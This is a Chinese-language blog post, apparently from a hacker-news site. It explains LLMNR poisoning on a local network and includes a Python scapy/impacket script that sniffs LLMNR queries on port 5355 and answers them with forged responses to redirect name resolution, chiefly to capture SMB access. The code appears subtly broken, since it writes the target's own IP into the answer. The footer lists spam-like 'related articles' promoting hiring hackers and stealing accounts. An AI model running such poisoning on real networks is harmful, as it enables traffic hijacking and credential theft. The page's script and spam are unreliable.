LLMNR欺骗技术简析

访客4年前黑客资讯357

LLMNR投毒

LLMNR协议简介

LLMNR(Link-Local Multicast Name Resolution)是用于同一本地链路上的,基于DNS协议的一个协议,同一局域网中的主机可通过该协议去解析其他主机名

查询顺序为

  1. 本地hosts文件解析
  2. 使用DNS解析
  3. 使用LLMNR解析
  4. 使用NBNS解析

前面的两部应该很熟了,我们直接介绍LLMNR的阶段

LLMNR解析过程:

  1. 先检查本地NetBios缓存
  2. 没有则向局域网224.0.0.252(ff02::fb)广播地址广播LLMNR协议数据包
  3. 收到该广播的数据包,若是要找的主机,则向广播主机单播一个返回数据包

LLMNR协议工作再5355端口

LLMNR投毒过程

可以看到这个广播的过程蛮熟悉的,很容易联想到ARP欺骗和DNS欺骗,ARP欺骗和DNS欺骗的主要手段就是当中间人,LLMNR的欺骗手段和这两者差不太多,更像是两者的结合版

首先,LLMNR是在链路层进行广播,所以不需要先ARP欺骗监听流量,其次,由于它基于DNS协议,所以结构也与DNS相近,也就是说需要LLMNR广播包的特征码来构造响应包,才会接受响应。

能触发LLMNR协议的主要就是 *** b共享,或者ping这种,只要基于链路层的访问就有机会用到LLMNR去解析

233454.jpg

233920.jpg

但是由于毒化后对方要使用链路层服务才会起作用,所以 *** b共享是主要方式

在触发LLMNR协议进行广播后,就需要做出响应来进行欺骗

对方将接收到的响应包中的地址作为要解析的地址,写入NetBios缓存。在访问对应的内网服务时候就被解析到了攻击者的地址上。

理解ARP欺骗和DNS欺骗这个过程应该就很好理解了。

这是基本的过程,实际上,我们甚至不需要对方去触发LLMNR广播查询,只要我们模拟受害者ip向局域网组播了查询数据包(对方至少得加入广播组),再把响应数据包发给受害者,就能实现LLMNR毒化。但是似乎在每次使用链路层服务时都会寻找,不管之前是否有查找过。(另外写脚本的时候也碰到了一点问题,用socket发送数据包的话,如果要设置UDP广播就无法设置从数据包中读取IP头,即伪造对方IP和发送广播包两者不能共存,不知道是不是写法的问题,网上也没找到有办法。)

甚至在运行框中修改主机名不点执行,也会重新发包查询,而不是点了执行才去查询

所以采用的更好的毒化 *** 就是像responder那样监听广播中的LLMNR广播数据包,再进行单播欺骗。

(llmnr实在很少使用,正常的局域网中要连接其他局域网内主机都直接用dns完成了,像llmnr大概只能去查询一些刚加进局域网,还未来得到和dns服务器交互,且存在于组播中的主机,所以要完成欺骗也要一点社工手段使对方使用llmnr服务)

LLMNR数据包结构

200227.jpg

一张图解决所有疑惑

虽然有点乱,但是无伤大雅,因为其中变动的点很少

一是前两位红线连的,Transaction ID,也就是DNS中的特征码,需要响应和广播包中的特征码相同

二是深绿色连的name,格式为[长度][名称][\x00\x00],对应图中看一下就懂

三是Type,也就是name后面两位,一般也就三种,[A — \X00\X01][AAAA — \X00\X1C][ANY — \x00\xff],A对应IPV4,AAAA对应IPV6,ANY就是两样兼收。

编写脚本

监听广播

我偷懒用了scapy,想监听就变得更加方便了

由于llmnr广播很少使用,所以这样直接过滤监听地址外加端口基本不会错

拿到数据包后取数据包中的对方ip,数据包id,要查找的名

拿完后就可以构造数据包了

构造返回数据包

返回也是用LLMNR协议写的数据包,查资料的时候有文章说返回是IGMP协议,其实是错的。且LLMNR结构和一般的DNS真的差不了多少


225911.jpg

我把llmnr中之前介绍过的部分圈了出来,多的是ttl,data length 和address

ttl: \x00 \x00 \x00 \x1e 表示30s data length: \x00 \x04 表示长度为4 address: \xc0 \xa8 \x98 \x87 是解析的地址

其余要注意的:

将Answer RRs改为1,表示有一个应答

将ID后的Flags改为\x80\x00表示response包

这是整个一个返回包的结构:


效果

001619.jpg

可以看到我们主机中的脚本监听到了广播后就向发送广播方进行了单播

附上脚本


#success

from scapy.all import *
import os
import threading
import time
from impacket import ImpactPacket

def llmnr_listen():
    print("[+]start listing")
    #监听llmnr广播包
    #需要对方ip,数据包id,查找名
    a=sniff(count=1,filter="ip dst 224.0.0.252 and udp and udp port 5355")
    target_ip=a[0][IP].src
    query_id=a[0][LLMNRQuery].id
    query_name=a[0][LLMNRQuery].qd.qname[:-1]
    list_needed=[target_ip,query_id,query_name]
    print("[+]get packet")
    return list_needed

class llmnr_poision:
    def __init__(self,list_needed):
        self.target_ip=list_needed[0]
        print("[+]target ip is:" + self.target_ip)
        self.query_id=list_needed[1]
        print("[+]query id is:" + str(self.query_id))
        self.query_name=list_needed[2]
        print("[+]cheat name is:" + str(self.query_name))
        self.query_length=len(self.query_name)

        self.local_ip="192.168.1.240"

        self.las=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        self.HOST="0.0.0.0"
        self.HOST=""
        self.PORT=5355
        #self.MulADDR="224.0.0.252"

        self.las=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
        #s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        #self.las.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)


        #self.las.bind((self.HOST, self.PORT))

    def llmnr_answer(self):
        
        self.AnswerData=(
            "TID"               # Tid
            "\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
            "\x00\x01"          # Question
            "\x00\x01"          # Answer RRS
            "\x00\x00"          # Authority RRS
            "\x00\x00"          # Additional RRS
            "LENGTH"            # Question Name Length
            "NAME"              # Question Name
            "\x00"              # Question Name Null
            "\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "LENGTH"            # Answer Name Length
            "NAME"              # Answer Name
            "\x00"              # Answer Name Null
            "\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "\x00\x00\x00\x1e"  # TTL Default:30s
            "\x00\x04"          # IP Length
            "IPADDR")           # IP Address


        self.Data=struct.pack("h",self.query_id)[1:]+struct.pack("h",self.query_id)[0:1]
        self.Data=self.Data + (
            b"\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
            b"\x00\x01"          # Question
            b"\x00\x01"          # Answer RRS
            b"\x00\x00"          # Authority RRS
            b"\x00\x00" )
        self.Data=self.Data + struct.pack("b",self.query_length)
        self.Data=self.Data + self.query_name
        self.Data=self.Data + (
            b"\x00"              # Question Name Null
            b"\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            b"\x00\x01"          # Class
            )
        self.Data=self.Data + struct.pack("b",self.query_length)
        self.Data=self.Data + self.query_name
        self.Data=self.Data + (
            b"\x00"              # Answer Name Null
            b"\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            b"\x00\x01"          # Class
            b"\x00\x00\x00\x1e"  # TTL Default:30s
            b"\x00\x04"          # IP Length
        )
        self.Data=self.Data + socket.inet_aton(self.target_ip)
        print(self.Data)


        ip=ImpactPacket.IP()
        ip.set_ip_src(self.local_ip)
        ip.set_ip_dst(self.target_ip)

        udp=ImpactPacket.UDP()
        udp.set_uh_sport(self.PORT)
        udp.set_uh_dport(self.PORT)


        udp.contains(ImpactPacket.Data(self.Data))
        ip.contains(udp)
        print(ip.get_packet())

        print("[+]send packet")
        while True:
            self.las.sendto(udp.get_packet(), (self.target_ip,self.PORT))
            time.sleep(100)
        print("[+]finish")

get_muti_pack=llmnr_listen()

llmnr=llmnr_poision(get_muti_pack)
llmnr.llmnr_answer()

相关文章

钓鱼网黑客,黑客黑了我的微信密码,黑客怎么修改qq密码软件

功用跟着WAF对网站的防护越来越遍及,针对根底web攻防来说,运用比如MySQL、JavaScript言语特性进行各种编码、变形,然后绕过WAF防护的进犯payload也越来越多,攻防是一个继续对立晋...

中韩协商建立健康码互认机制

6日,外交部发言人赵立坚主持例行记者会。在评价日前举行的中韩外长会晤成果时,赵立坚表示,中韩互为永久近邻和战略合作伙伴。双方支持将在本国的对方公民纳入疫苗接种范围,协商建立健康码互认机制。 南航回...

计算机的发展历程,中国黑客怎么联系,有人找黑客盗取

这将在咱们的主机上放一个名为“evil”的Powershell脚本,该脚本将在运转上一图画所示指令的受害核算机上履行:IHttpRequestResponse baseRequestResponse)...

淘宝账号锁定了都能被黑客登进去(淘宝账号锁定别人登录)

淘宝账号锁定了都能被黑客登进去(淘宝账号锁定别人登录)

本文导读目录: 1、为什么我什么都没做淘宝的帐号就被说是永久限制登录了啊? 2、这段时间电脑登陆淘宝,无法登陆,老是显示你的网络已经被黑客劫持,请立即修复。这是怎么回事。 3、淘宝被别人登录有...

计算机视频教程,微博黑客联系,黑客可以找手机吗

首要针对我国用户,累计受影响用户超越千万,单就Hook007宗族计算近一年被感染用户到达50万。 }这些调用明显与一般程序不同,这是一种经过很多添加相似sleep和Rectangle等跟木马功用彻底无...

妈妈是超人大麟子干妈是高洋吗 大麟子干妈是哪一期

妈妈是超人大麟子干妈是高洋吗 大麟子干妈是哪一期

大麟子干娘出現以后许多网民都说熟悉,仿佛是哪个明星,也有边上梓言大姐也令人好奇心,下边的我就而言说:妈妈是超人大麟子干娘到底是谁 妈妈是超人大麟子干娘是哪一期。 妈妈是超人大麟子干娘是哪一期...